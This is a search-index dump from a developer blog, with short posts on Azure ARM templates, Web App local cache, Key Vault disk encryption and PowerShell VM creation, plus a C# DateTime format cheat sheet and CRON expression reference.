class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;type&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;string&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;defaultValue&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;[resourceGroup().location]&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;metadata&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;description&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;Location for all resources.&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"s2\">&#34;variables&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"s2\">&#34;storageAccountName&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;[concat(&#39;store&#39;, uniquestring(resourceGroup().id))]&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"s2\">&#34;resources&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">[<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;type&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;Microsoft.Storage\/storageAccounts&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;name&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;[variables(&#39;storageAccountName&#39;)]&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;location&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;[parameters(&#39;location&#39;)]&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;apiVersion&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;2018-07-01&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;sku&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;name&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;[parameters(&#39;storageAccountType&#39;)]&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;kind&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;StorageV2&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;properties&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">],<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"s2\">&#34;outputs&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"s2\">&#34;storageAccountName&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;type&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;string&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;value&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;[variables(&#39;storageAccountName&#39;)]&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"s2\">&#34;storageUri&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;type&#34;<\/span><span class=\"p\">:<\/span><span class=\"s2\">&#34;string&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;value&#34;<\/span><span class=\"p\">:<\/span><span class=\"s2\">&#34;[reference(variables(&#39;storageAccountName&#39;)).primaryEndpoints.blob]&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Go to <code>https:\/\/shell.azure.com<\/code> and open your subscription.<\/p>\n<p>In <strong>bash<\/strong> format (not <em>PowerShell<\/em>) run the following scripts.<\/p>","title":"az cli (bash) create resource though Resource File"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/resource-group\/","section":"Tags","summary":"","title":"Resource-Group"},{"content":"This is a sample API hosted by Microsoft.\nhttps:\/\/conferenceapi.azurewebsites.net\/?format=json\n","date":"June 1, 2019","permalink":"https:\/\/rmauro.dev\/conference-api-sample\/","section":"Posts","summary":"<p>This is a sample API hosted by Microsoft.<\/p>\n<p><a href=\"https:\/\/conferenceapi.azurewebsites.net\/?format=json\" target=\"_blank\" rel=\"noreferrer\">https:\/\/conferenceapi.azurewebsites.net\/?format=json<\/a><\/p>","title":"Conference API Sample"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/cache\/","section":"Tags","summary":"","title":"Cache"},{"content":"What is Local Cache in Azure WebApp? #Local cache in Azure Web is really a cache that caches the storage of your Web App.\nHow to enable it? #To enable local cache you should go to your Azure Subscription them navigate to your Web App that you wishs to enable local cache.\nGo to &ldquo;Configuration&rdquo; section then &ldquo;Application Setttings&rdquo; and under &ldquo;Application settings&rdquo;\nYou enable Local Cache on a per-web-app basis by using this app setting: WEBSITE_LOCAL_CACHE_OPTION = Always\nref. https:\/\/docs.microsoft.com\/pt-br\/azure\/app-service\/overview-local-cache\nAvailable options:\n&#34;WEBSITE_LOCAL_CACHE_OPTION&#34;: &#34;Always&#34;, &#34;WEBSITE_LOCAL_CACHE_SIZEINMB&#34;: &#34;300&#34; By default, the local cache size is 300 MB.\nWarning #Maybe you don&rsquo;t want to enable it in your staging environments. In that case put the configuration only to the specific slot you&rsquo;re targeting.\nFAQ see\nhttps:\/\/docs.microsoft.com\/pt-br\/azure\/app-service\/overview-local-cache#frequently-asked-questions-faq\nRefs.: # https:\/\/docs.microsoft.com\/pt-br\/azure\/app-service\/overview-local-cache\nhttp:\/\/involvenevolve.com\/post\/azure-app-services-hidden-gem-local-cache-feature\/\n","date":"June 1, 2019","permalink":"https:\/\/rmauro.dev\/enable-local-cache-in-azure-web-app\/","section":"Posts","summary":"<h2 id=\"what-is-local-cache-in-azure-webapp\" class=\"relative group\">What is Local Cache in Azure WebApp? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-is-local-cache-in-azure-webapp\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Local cache in Azure Web is really a cache that caches the storage of your Web App.<\/p>\n<h2 id=\"how-to-enable-it\" class=\"relative group\">How to enable it? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#how-to-enable-it\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>To enable local cache you should go to your <strong>Azure Subscription<\/strong> them navigate to your <strong>Web App<\/strong> that you wishs to enable local cache.<\/p>","title":"Enable Local Cache in Azure Web App"},{"content":"Cheat sheet with C# DateTime formats.\nusing System; using System.Globalization; public class Program { public static void Main(string[] args) { DateTime dt = DateTime.Now; string[] format = { &#34;d&#34;, &#34;D&#34;, &#34;f&#34;, &#34;F&#34;, &#34;g&#34;, &#34;G&#34;, &#34;m&#34;, &#34;r&#34;, &#34;s&#34;, &#34;t&#34;, &#34;T&#34;, &#34;u&#34;, &#34;U&#34;, &#34;y&#34;, &#34;dddd, MMMM dd yyyy&#34;, &#34;ddd, MMM d \\&#34;&#39;\\&#34;yy&#34;, &#34;dddd, MMMM dd&#34;, &#34;M\/yy&#34;, &#34;dd-MM-yy&#34;, }; string date; for (int i = 0; i &lt; format.Length; i++) { date = dt.ToString(format[i], DateTimeFormatInfo.InvariantInfo); Console.WriteLine(String.Concat(format[i], &#34; :&#34; , date)); } \/** Output. * * d :08\/17\/2000 * D :Thursday, August 17, 2000 * f :Thursday, August 17, 2000 16:32 * F :Thursday, August 17, 2000 16:32:32 * g :08\/17\/2000 16:32 * G :08\/17\/2000 16:32:32 * m :August 17 * r :Thu, 17 Aug 2000 23:32:32 GMT * s :2000-08-17T16:32:32 * t :16:32 * T :16:32:32 * u :2000-08-17 23:32:32Z * U :Thursday, August 17, 2000 23:32:32 * y :August, 2000 * dddd, MMMM dd yyyy :Thursday, August 17 2000 * ddd, MMM d &#34;&#39;&#34;yy :Thu, Aug 17 &#39;00 * dddd, MMMM dd :Thursday, August 17 * M\/yy :8\/00 * dd-MM-yy :17-08-00 *\/ } } C# DateTime formats\nd : 08\/17\/2000 D : Thursday, August 17, 2000 f : Thursday, August 17, 2000 16:32 F : Thursday, August 17, 2000 16:32:32 g : 08\/17\/2000 16:32 G : 08\/17\/2000 16:32:32 m : August 17 r : Thu, 17 Aug 2000 23:32:32 GMT s : 2000-08-17T16:32:32 t : 16:32 T : 16:32:32 u : 2000-08-17 23:32:32Z U : Thursday, August 17, 2000 23:32:32 y : August, 2000 dddd, MMMM dd yyyy :Thursday, August 17 2000 ddd, MMM d &ldquo;&rsquo;&ldquo;yy :Thu, Aug 17 &lsquo;00 dddd, MMMM dd :Thursday, August 17 M\/yy :8\/00 dd-MM-yy :17-08-00 ","date":"May 31, 2019","permalink":"https:\/\/rmauro.dev\/c-datetime-tostring-format\/","section":"Posts","summary":"<p>Cheat sheet with C# DateTime formats.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">using<\/span> <span class=\"nn\">System<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">using<\/span> <span class=\"nn\">System.Globalization<\/span><span class=\"p\">;<\/span> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">public<\/span> <span class=\"k\">class<\/span> <span class=\"nc\">Program<\/span> <span class=\"p\">{<\/span> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"k\">void<\/span> <span class=\"n\">Main<\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span><span class=\"p\">[]<\/span> <span class=\"n\">args<\/span><span class=\"p\">)<\/span>  <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">       <span class=\"n\">DateTime<\/span> <span class=\"n\">dt<\/span> <span class=\"p\">=<\/span> <span class=\"n\">DateTime<\/span><span class=\"p\">.<\/span><span class=\"n\">Now<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">       <span class=\"kt\">string<\/span><span class=\"p\">[]<\/span> <span class=\"n\">format<\/span> <span class=\"p\">=<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;d&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;D&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;f&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;F&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;g&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;G&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;m&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;r&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;s&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;t&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;T&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;u&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;U&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;y&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;dddd, MMMM dd yyyy&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;ddd, MMM d \\&#34;&#39;\\&#34;yy&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;dddd, MMMM dd&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;M\/yy&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"s\">&#34;dd-MM-yy&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">       <span class=\"p\">};<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">       <span class=\"kt\">string<\/span> <span class=\"n\">date<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">       <span class=\"k\">for<\/span> <span class=\"p\">(<\/span><span class=\"kt\">int<\/span> <span class=\"n\">i<\/span> <span class=\"p\">=<\/span> <span class=\"m\">0<\/span><span class=\"p\">;<\/span> <span class=\"n\">i<\/span> <span class=\"p\">&lt;<\/span> <span class=\"n\">format<\/span><span class=\"p\">.<\/span><span class=\"n\">Length<\/span><span class=\"p\">;<\/span> <span class=\"n\">i<\/span><span class=\"p\">++)<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"n\">date<\/span> <span class=\"p\">=<\/span> <span class=\"n\">dt<\/span><span class=\"p\">.<\/span><span class=\"n\">ToString<\/span><span class=\"p\">(<\/span><span class=\"n\">format<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">],<\/span> <span class=\"n\">DateTimeFormatInfo<\/span><span class=\"p\">.<\/span><span class=\"n\">InvariantInfo<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">           <span class=\"n\">Console<\/span><span class=\"p\">.<\/span><span class=\"n\">WriteLine<\/span><span class=\"p\">(<\/span><span class=\"n\">String<\/span><span class=\"p\">.<\/span><span class=\"n\">Concat<\/span><span class=\"p\">(<\/span><span class=\"n\">format<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">],<\/span> <span class=\"s\">&#34; :&#34;<\/span> <span class=\"p\">,<\/span> <span class=\"n\">date<\/span><span class=\"p\">));<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">       <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"cm\">\/** Output.\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   *\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * d :08\/17\/2000\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * D :Thursday, August 17, 2000\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * f :Thursday, August 17, 2000 16:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * F :Thursday, August 17, 2000 16:32:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * g :08\/17\/2000 16:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * G :08\/17\/2000 16:32:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * m :August 17\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * r :Thu, 17 Aug 2000 23:32:32 GMT\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * s :2000-08-17T16:32:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * t :16:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * T :16:32:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * u :2000-08-17 23:32:32Z\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * U :Thursday, August 17, 2000 23:32:32\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * y :August, 2000\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * dddd, MMMM dd yyyy :Thursday, August 17 2000\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * ddd, MMM d &#34;&#39;&#34;yy :Thu, Aug 17 &#39;00\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * dddd, MMMM dd :Thursday, August 17\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * M\/yy :8\/00\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   * dd-MM-yy :17-08-00\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cm\">   *\/<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>C# DateTime formats<\/p>","title":"C# DateTime Cheat sheet - ToString() Format"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/azure-webjobs\/","section":"Tags","summary":"","title":"Azure-Webjobs"},{"content":"CRON expressions #Azure Functions uses the NCronTab library to interpret CRON expressions. A CRON expression includes six fields:\n{second} {minute} {hour} {day} {month} {day-of-week}\nEach field can have one of the following types of values:\nType Example When triggered A specific value 0 5 * * * * at hh:05:00 where hh is every hour (once an hour) All values (*) 0 * 5 * * * at 5:mm:00 every day, where mm is every minute of the hour (60 times a day) A range (- operator) 5-7 * * * * * at hh:mm:05,hh:mm:06, and hh:mm:07 where hh:mm is every minute of every hour (3 times a minute) A set of values (, operator) 5,8,10 * * * * * at hh:mm:05, hh:mm:08, and hh:mm:10 where hh:mm is every minute of every hour (3 times a minute) An interval value (\/ operator) 0 *\/5 * * * * at hh:05:00, hh:10:00, hh:15:00, and so on through hh:55:00 where hh is every hour (12 times an hour) Refs.:\nhttps:\/\/docs.microsoft.com\/en-us\/azure\/azure-functions\/functions-bindings-timer#cron-expressions\n","date":"May 31, 2019","permalink":"https:\/\/rmauro.dev\/demo-webjob-azure-cron-expressions\/","section":"Posts","summary":"<h1 id=\"cron-expressions\" class=\"relative group\">CRON expressions <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#cron-expressions\" aria-label=\"Anchor\">#<\/a><\/span><\/h1><p>Azure Functions uses the NCronTab library to interpret CRON expressions. A CRON expression includes six fields:<\/p>\n<p><code>{second} {minute} {hour} {day} {month} {day-of-week}<\/code><\/p>\n<p>Each field can have one of the following types of values:<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\"> Type                           Example          When triggered\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> A specific value               0 5 * * * *      at hh:05:00 where hh is every hour \n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 (once an hour)\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> All values (*)                 0 * 5 * * *      at 5:mm:00 every day, where mm is \n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 every minute of the hour (60 times \n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 a day)\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> A range (- operator)           5-7 * * * * *    at hh:mm:05,hh:mm:06, and hh:mm:07 \n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 where hh:mm is every minute of every\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 hour (3 times a minute)\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> A set of values (, operator)   5,8,10 * * * * * at hh:mm:05, hh:mm:08, and hh:mm:10\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 where hh:mm is every minute of every\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 hour (3 times a minute)\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> An interval value (\/ operator) 0 *\/5 * * * *    at hh:05:00, hh:10:00, hh:15:00, and \n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 so on through hh:55:00 where hh is\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                                                 every hour (12 times an hour)\n<\/span><\/span><\/code><\/pre><\/div><p>Refs.:<\/p>","title":"Demo WebJob Azure - CRON expressions"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/webjobs\/","section":"Tags","summary":"","title":"Webjobs"},{"content":"Create Azure Key Vault service #az keyvault create \\ --name &#34;kvDemo006&#34; \\ --resource-group &#34;demo001&#34; \\ --location centralUS \\ --enabled-for-disk-encryption True Enable disk encryption on VM #az vm encryption enable \\ --resource-group &#34;kvDemo006&#34; \\ --name &#34;devUScWeb003&#34; \\ --disk-encryption-keyvault &#34;demo006&#34; \\ --volume-type &#34;all&#34; Show disk encryption #az vm encryption show \\ --resource-group &#34;demo006&#34; \\ --name &#34;devUScWeb003&#34;` ","date":"May 27, 2019","permalink":"https:\/\/rmauro.dev\/enable-azure-disk-encryption-though-az-cli\/","section":"Posts","summary":"<h6 id=\"create-azure-key-vault-service\" class=\"relative group\">Create Azure Key Vault service <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#create-azure-key-vault-service\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az keyvault create \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --name &#34;kvDemo006&#34; \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --resource-group &#34;demo001&#34; \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --location centralUS \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --enabled-for-disk-encryption True\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"enable-disk-encryption-on-vm\" class=\"relative group\">Enable disk encryption on VM <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#enable-disk-encryption-on-vm\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az vm encryption enable \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --resource-group &#34;kvDemo006&#34; \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --name &#34;devUScWeb003&#34; \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --disk-encryption-keyvault &#34;demo006&#34; \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --volume-type &#34;all&#34;\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"show-disk-encryption\" class=\"relative group\">Show disk encryption <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#show-disk-encryption\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az vm encryption show \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --resource-group &#34;demo006&#34; \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --name &#34;devUScWeb003&#34;`\n<\/span><\/span><\/code><\/pre><\/div>","title":"Enable Azure Disk Encryption though az-cli"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/azure-powershell\/","section":"Tags","summary":"","title":"Azure-Powershell"},{"content":"Go to https:\/\/shell.azure.com and enter the following commands.\nAzure available locations. #Get-AzureRmLocation | Format-Table Azure Resource Groups available in the subscription. #Get-AzureRmResourceGroup | select ResourceGroupName Setting up the local variables. #$VMLocalAdminUser = &#34;myAdminUser&#34; $VMLocalAdminSecurePassword = ConvertTo-SecureString &#34;MyStrongPassword@123456789&#34; -AsPlainText -Force $LocationName = &#34;centralus&#34; $ResourceGroupName = &#34;demo001PS&#34; $ComputerName = &#34;MyVM&#34; $VMName = &#34;devUScWeb002&#34; $VMSize = &#34;Standard_DS3&#34; $NICName = &#34;devUScWeb002-ip&#34; Creating the Resource Group #New-AzureRmResourceGroup -Name $ResourceGroupName -Location $LocationName Creating the Virtual Network #$virtualNetwork = New-AzVirtualNetwork ` -ResourceGroupName $ResourceGroupName ` -Location $LocationName ` -Name $VMName ` -AddressPrefix 10.0.0.0\/16 $subnetConfig = Add-AzVirtualNetworkSubnetConfig ` -Name default ` -AddressPrefix 10.0.0.0\/24 ` -VirtualNetwork $virtualNetwork $virtualNetwork | Set-AzVirtualNetwork $nic = New-AzureRmNetworkInterface ` -Name &#34;NIC1&#34; ` -ResourceGroupName $ResourceGroupName ` -Location $LocationName ` -SubnetId $virtualNetwork.Subnets[0].Id ` -IpConfigurationName &#34;IPConfig1&#34; ` -DnsServer &#34;8.8.8.8&#34;, &#34;8.8.4.4&#34; Creating the Virtual Machine #$Credential = New-Object System.Management.Automation.PSCredential ($VMLocalAdminUser, $VMLocalAdminSecurePassword) $VirtualMachine = New-AzureRmVMConfig ` -VMName $VMName -VMSize $VMSize $VirtualMachine = Set-AzureRmVMOperatingSystem ` -VM $VirtualMachine ` -Windows ` -ComputerName $ComputerName ` -Credential $Credential ` -ProvisionVMAgent -EnableAutoUpdate $VirtualMachine = Add-AzureRmVMNetworkInterface ` -VM $VirtualMachine ` -Id $NIC.Id $VirtualMachine = Set-AzureRmVMSourceImage ` -VM $VirtualMachine ` -PublisherName &#39;MicrosoftWindowsServer&#39; ` -Offer &#39;WindowsServer&#39; ` -Skus &#39;2012-R2-Datacenter&#39; ` -Version latest $job = New-AzureRmVM ` -ResourceGroupName $ResourceGroupName ` -Location $LocationName ` -VM $VirtualMachine ` -AsJob The -AsJob option creates the VM in the background. You can continue to the next step.\nBased on: # 